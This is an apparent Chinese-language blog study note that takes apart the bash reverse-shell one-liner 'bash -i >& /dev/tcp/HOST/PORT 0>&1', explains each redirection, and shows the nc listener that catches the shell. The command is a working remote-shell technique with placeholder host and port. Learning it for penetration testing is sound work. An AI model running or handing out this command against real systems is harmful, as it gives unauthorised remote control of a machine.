linux 反弹shell命令解析

渗透做的很少,连最基础的都不会,做下笔记。。。

bash -i >& /dev/tcp/HOST/PORT 0>&1

1. bash -i

这句是打开bash(可交互的)

2. /dev/tcp/HOST/PORT

这句是打开/dev/tcp,建立一个socket连接,HOST是远程IP,PORT是远程端口

3. >&

这句是用于重定向stdout以及stderr,即重定向标准输出以及标准错误,也可以写为&>

4. 0>&1

stdin:代码为0,使用<或<<
stdout:代码为1,使用>或>>
stderr:代码为2,使用2>或2>>
实际上正确的写法是0<&1,意为将标准输入重定向到标准输出中,不过用0>&1也可以

这样在远程用
nc -lnvp xxxx
就能够实现一个shell的反弹了

你可能感兴趣的:(linux 反弹shell命令解析)